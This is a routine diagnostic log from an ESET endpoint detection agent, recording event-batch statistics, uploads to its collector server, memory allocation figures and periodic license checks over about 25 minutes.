2026-03-04 21:36:43 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:34:32, To:, 2026-03-04 21:36:43, Duration (s):, 131, Events Per Second:, 31.395, Events:, 4141, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3439, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 701, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459622
2026-03-04 21:36:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
2026-03-04 21:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2474 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 988 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 172 KB; cloudutils::CloudData: 141 KB; BaseEvent: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; BatchSerializer::EventsQueueTag: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38347 KB;
2026-03-04 21:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2836 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 847 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 220 KB; rules::ProcessConditionsCache: 145 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 57 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38747 KB;
2026-03-04 21:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3193 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 713 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 394 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 119 KB; BatchSerializer::EventsQueueTag: 104 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39164 KB;
2026-03-04 21:39:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:39:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:39:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:39:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3594 KB; ModuleMetadata: 2035 KB; BaseEvent: 583 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 156 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 108 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39626 KB;
2026-03-04 21:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3764 KB; ModuleMetadata: 2035 KB; BaseEvent: 652 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; TcpIpConnectionsManager: 471 KB; ModuleInfoCache: 324 KB; rules::ProcessConditionsCache: 304 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 176 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 40015 KB;
2026-03-04 21:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3811 KB; ModuleMetadata: 2035 KB; BaseEvent: 679 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; TcpIpConnectionsManager: 342 KB; ModuleInfoCache: 324 KB; rules::ProcessConditionsCache: 315 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 183 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39975 KB;
2026-03-04 21:42:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:36:43, To:, 2026-03-04 21:42:45, Duration (s):, 362, Events Per Second:, 11.328, Events:, 4106, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3433, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 672, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459117
2026-03-04 21:42:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s363ms.
2026-03-04 21:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 618 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; TcpIpConnectionsManager: 238 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 17 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 0 KB; BatchStringTag: 0 KB; Total: 35545 KB;
2026-03-04 21:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1004 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; TcpIpConnectionsManager: 319 KB; CacheEntry: 299 KB; BaseEvent: 208 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 54 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36276 KB;
2026-03-04 21:44:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:44:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:44:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:44:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1377 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; TcpIpConnectionsManager: 452 KB; BaseEvent: 386 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 14 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36983 KB;
2026-03-04 21:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1719 KB; BaseEvent: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 390 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 146 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38013 KB;
2026-03-04 21:46:55 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:42:45, To:, 2026-03-04 21:46:55, Duration (s):, 250, Events Per Second:, 16.438, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458477
2026-03-04 21:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1305 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 593 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; BatchStringTag: 447 KB; rules::ProcessConditionsCache: 396 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 1 KB; BaseEvent: 0 KB; Total: 37424 KB;
2026-03-04 21:46:57 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s331ms.
2026-03-04 21:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1665 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 176 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37482 KB;
2026-03-04 21:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 2025 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; rules::ProcessConditionsCache: 347 KB; BaseEvent: 343 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38023 KB;
2026-03-04 21:49:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:49:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:49:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:49:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2407 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; rules::ProcessConditionsCache: 341 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38646 KB;
2026-03-04 21:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2800 KB; ModuleMetadata: 2037 KB; BaseEvent: 718 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 362 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 192 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39300 KB;
2026-03-04 21:51:03 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:46:55, To:, 2026-03-04 21:51:02, Duration (s):, 247, Events Per Second:, 16.707, Events:, 4143, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3441, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 701, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460590
2026-03-04 21:51:05 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s562ms.
2026-03-04 21:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1658 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 349 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 167 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 42 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37425 KB;
2026-03-04 21:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1993 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 330 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 286 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37886 KB;
2026-03-04 21:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2351 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 507 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 269 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 133 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38436 KB;
2026-03-04 21:54:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:54:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:54:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:54:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2756 KB; ModuleMetadata: 2037 KB; BaseEvent: 693 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 353 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 183 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39219 KB;
2026-03-04 21:55:11 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:51:02, To:, 2026-03-04 21:55:11, Duration (s):, 249, Events Per Second:, 16.495, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3418, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 697, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459026
2026-03-04 21:55:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s338ms.
2026-03-04 21:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1643 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 334 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 142 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37411 KB;
2026-03-04 21:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 2006 KB; TcpIpConnectionsManager: 601 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 324 KB; BaseEvent: 324 KB; rules::ProcessConditionsCache: 301 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 85 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37975 KB;
2026-03-04 21:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2460 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 657 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 518 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 139 KB; rules::ProcessConditionsCache: 88 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 8 KB; BatchStringTag: 0 KB; Total: 38525 KB;
2026-03-04 21:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2818 KB; ModuleMetadata: 2037 KB; BaseEvent: 704 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 190 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39027 KB;
2026-03-04 21:59:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:55:10, To:, 2026-03-04 21:59:01, Duration (s):, 231, Events Per Second:, 17.699, Events:, 4103, File:, 2, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3422, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 678, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458249
2026-03-04 21:59:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s571ms.
2026-03-04 21:59:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:59:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:59:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:59:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
